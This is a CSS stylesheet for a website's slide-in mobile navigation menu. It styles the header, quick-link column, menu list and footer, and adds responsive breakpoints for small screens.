.newTotalMenu{position:fixed;top:0;right:-100%;bottom:0;width:100%;height:100%;padding-top:var(--size132);background:var(--color_white);opacity:1;transition:right .3s ease;-webkit-transition:right .3s ease;z-index:200}
.newTotalMenu,.newTotalMenu *,.newTotalMenu *:before,.newTotalMenu,.newTotalMenu *,.newTotalMenu *:after{box-sizing:border-box}
.newTotalMenu .totalMenu_header{height:var(--size132);border-bottom:1px solid var(--color_gray10)}
.newTotalMenu .totalMenu_header{height:calc(8.25rem + env(safe-area-inset-top));height:calc(8.25rem + constant(safe-area-inset-top))}
.newTotalMenu .totalMenu_header:before{position:absolute;bottom:0;left:0;right:0;height:var(--size72);background:var(--color_lightBlue3);content:""}
.newTotalMenu .totalMenu_header > h2{height:var(--size60);border:0 none}
.newTotalMenu .tmUtil_lst{position:relative;padding:0}
.newTotalMenu .totalMenu_wrap{flex-direction:initial;padding-left:var(--size148);overflow:hidden}
.newTotalMenu .totalMenu_wrap:before{position:absolute;top:0;left:var(--size148);width:1px;height:100%;background:var(--color_gray11);content:""}
.newTotalMenu .totalMenu_wrap > *{flex:0 0 auto}
.newTotalMenu .tmQuickBtn{position:absolute;top:0 !important;left:0;right:auto;width:var(--size148);height:100%;margin:0 !important;transition:none !important;-webkit-transition:none !important}
.newTotalMenu.current .tmQuickBtn{/* position:fixed;top:var(--size132);height:calc(100% - var(--size132)) */}
.newTotalMenu .tmQuickBtn .tmQuickBtnList_wrap{padding:var(--size8) 0 var(--size96);overflow:hidden;overflow-y:auto}
.newTotalMenu .tmQuickBtn .tmQuickBtn_lst{position:relative;flex-direction:column;margin:0}
.newTotalMenu .tmQuickBtn .tmQuickBtn_lst > li{padding:var(--size6) var(--size12) !important}
.newTotalMenu .tmQuickBtn .tmQuickBtn_lst a{padding:var(--size14) var(--size12);border:0 none;border-radius:var(--size12);font-size:var(--fsize2)}
.newTotalMenu .tmQuickBtn .tmQuickBtn_lst a.active{background:var(--color_base01);font-weight:var(--fweight700)}
.newTotalMenu .tmQuickBtn .tmQuickBtn_lst a > span{display:flex;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;word-break:keep-all}
.newTotalMenu .totalMenu_body{width:100%;padding:var(--size8) var(--size20);overflow-y:auto;scroll-behavior:smooth}
.newTotalMenu .myMenu_lst{}
.newTotalMenu .myMenu_lst button{display:flex;width:100%;padding:var(--size10) 0;font-weight:var(--fweight700);font-size:var(--fsize1);line-height:var(--lineHeight1);color:var(--color_gray01);text-align:left}
.newTotalMenu .myMenu_lst button > span{display:block;font-weight:inherit;font-size:inherit;line-height:inherit;color:inherit}
.newTotalMenu .myMenu_lst button.active{color:var(--color_base01)}
.newTotalMenu .majorMenuEdit{display:flex;flex-direction:row-reverse;margin-bottom:var(--space8)}
.newTotalMenu .majorMenuEdit > button{display:block;padding:var(--size5) var(--size12);background:var(--color_gray06);border-radius:var(--size32);font-size:var(--fsize3);line-height:var(--lineHeight5);color:var(--color_white)}
.newTotalMenu .majorMenuEdit > button > span{display:block;position:relative;padding-left:var(--size24);font-size:inherit;line-height:inherit;color:inherit}
.newTotalMenu .majorMenuEdit > button .nhlife_ico{position:absolute;top:calc(var(--size2) * -1);left:calc(var(--size2) * -1)}
.newTotalMenu .majorMenuEdit > button .nhlife_ico,.newTotalMenu .majorMenuEdit > button .nhlife_ico:before{--sizeFix:1.5rem}
.newTotalMenu .totalMenu_footer{min-height:calc(100% + var(--size18));padding:var(--size10) 0 var(--size24)}
.newTotalMenu .totalMenu_footer .totalMenuSNS_lst{flex-wrap:wrap;margin:0 calc(var(--size3) * -1)}
.newTotalMenu .totalMenu_footer .totalMenuSNS_lst > li,.newTotalMenu .totalMenu_footer .totalMenuSNS_lst > li + li{margin:0 var(--size3)}
.newTotalMenu .totalMenu_footer .footCopyright > span{display:flex;flex-direction:column}
.newTotalMenu .totalMenu_footer .footCopyright > span > em + em{margin-left:0}
.newTotalMenu .totalMenu_footer .footCopyright > span.address{padding-left:0}
.newTotalMenu .totalMenu_footer .footCopyright > span.address > em{display:none}



/*반응형*/
@media only screen and (min-width:640px){	
	.frequentUseMenuSet .form_item .input > span{flex:0 0 33.333%}
}
@media only screen and (max-width:413px){
	.totalMenu_header,.tmUtil_lst,.tmMyMenu_wrap{padding-left:var(--size20);padding-right:var(--size20)}
	.menuSearch_wrap > .frmGroup{top:calc(var(--size20) * -1);left:calc(var(--size20) * -1);right:calc(var(--size20) * -1);padding-left:var(--size20);padding-right:var(--size20)}
	.popularKeyword{margin-left:calc(var(--size16) * -1);margin-right:calc(var(--size16) * -1)}
	.menuSCHResult_wrap{padding-left:var(--size20);padding-right:var(--size20);margin:0 calc(var(--size20) * -1)}/*height:calc(100% - 16.5rem);*/
	.menuSCHResult_list{margin-left:calc(var(--size20) * -1);margin-right:calc(var(--size20) * -1)}
	.menuSCHResult_list h5{padding-left:var(--size20);padding-right:var(--size20)}
	.menuSCHResult_list a{padding-left:var(--size20)}
	.totalMenu_body,.totalMenu_footer{padding-left:var(--size20);padding-right:var(--size20)}
	.tmMyMenu_wrap .btnMyMenuDetail{right:var(--size20)}
	.tmQuickBtn .tmQuickBtnList_wrap{padding-left:var(--size20);padding-right:var(--size20)}
	.tmQuickBtn .btnQuickDetail{width:var(--size56);padding-right:var(--size20)}
	.tmQuickBtn .btnQuickDetail:before{right:var(--size56)}
	.tmQuickBtn .tmQuickBtn_lst > li:last-child{padding-right:var(--size76)}
	.floatChat{right:var(--size20)}
	.editMenu_wrap{margin:calc(var(--size20) * -1) calc(var(--size20) * -1) var(--size30);padding:var(--size12) var(--size20)}
	.frequentUseMenuSet .form_item > label{padding-left:var(--size20);padding-right:var(--size20)}
	.frequentUseMenuSet .form_item .input{padding:0 var(--size20)}
	.chatIcon_wrap{padding-left:var(--size20);padding-right:var(--size20)}
}
@media only screen and (max-width:374px){
	.newTotalMenu .totalMenu_wrap{padding-left:var(--size124)}
	.newTotalMenu .totalMenu_wrap:before{left:var(--size124)}
	.newTotalMenu .tmQuickBtn{width:var(--size124)}
	.newTotalMenu .tmQuickBtn .tmQuickBtn_lst a{font-size:var(--fsize3)}
}
@media only screen and (max-width:359px){
	.menuSearch_wrap > .frmGroup{top:calc(var(--size16) * -1);left:calc(var(--size16) * -1);right:calc(var(--size16) * -1);padding-left:var(--size16);padding-right:var(--size16)}
	.menuSCHResult_wrap{padding-left:var(--size16);padding-right:var(--size16);margin:0 calc(var(--size16) * -1)}
	.menuSCHResult_list{margin-left:calc(var(--size16) * -1);margin-right:calc(var(--size16) * -1)}	
	.menuSCHResult_list h5{padding-left:var(--size16);padding-right:var(--size16)}
	.menuSCHResult_list a{padding-left:var(--size16)}
	.totalMenu_header,.tmUtil_lst,.tmMyMenu_wrap{padding-left:var(--size16);padding-right:var(--size16)}
	.totalMenuUtil_lst button > span{padding-left:var(--size20)}
	.totalMenu_body,.totalMenu_footer{padding-left:var(--size16);padding-right:var(--size16)}
	.totalMenu_footer .footCopyright > span > em{display:block}
	.totalMenu_footer .footCopyright > span > em + em{margin-left:0}
	.tmMyMenu_wrap .btnMyMenuDetail{right:var(--size16)}
	.tmQuickBtn .tmQuickBtnList_wrap{padding-left:var(--size16);padding-right:var(--size16)}
	.tmQuickBtn .btnQuickDetail{width:var(--size52);padding-right:var(--size16)}
	.tmQuickBtn .btnQuickDetail:before{right:var(--size52)}
	.tmQuickBtn .tmQuickBtn_lst > li:last-child{padding-right:var(--size70)}
	.floatChat{right:var(--size16)}
	.editMenu_wrap{margin:calc(var(--size16) * -1) calc(var(--size16) * -1) var(--size30);padding:var(--size12) var(--size16)}
	.frequentUseMenuSet .form_item > label{padding-left:var(--size16);padding-right:var(--size16)}
	.frequentUseMenuSet .form_item .input{padding:0 var(--size16)}
	.chatIcon_wrap{padding-left:var(--size16);padding-right:var(--size16)}
}
@media only screen and (max-width:319px){
	.editMenu_wrap .editMenu_desc{padding-bottom:var(--size24)}
	.editMenu_wrap .li_th1 > li{line-height:var(--lineHeight1)}
	.editMenu_wrap .li_th1 > li br{display:none}
}
@supports (-webkit-touch-callout:none){
	.totalMenu_footer .footCopyright > span.address,.chatIcon_wrap .chatIcon > span{word-break:break-word}
	/*,.newTotalMenu .tmQuickBtn .tmQuickBtn_lst a > span*/
}
@media (prefers-reduced-motion:reduce){
	.totalMenu_wrap,.tmQuickBtn .tmQuickBtnList_wrap{scroll-behavior:auto}
}
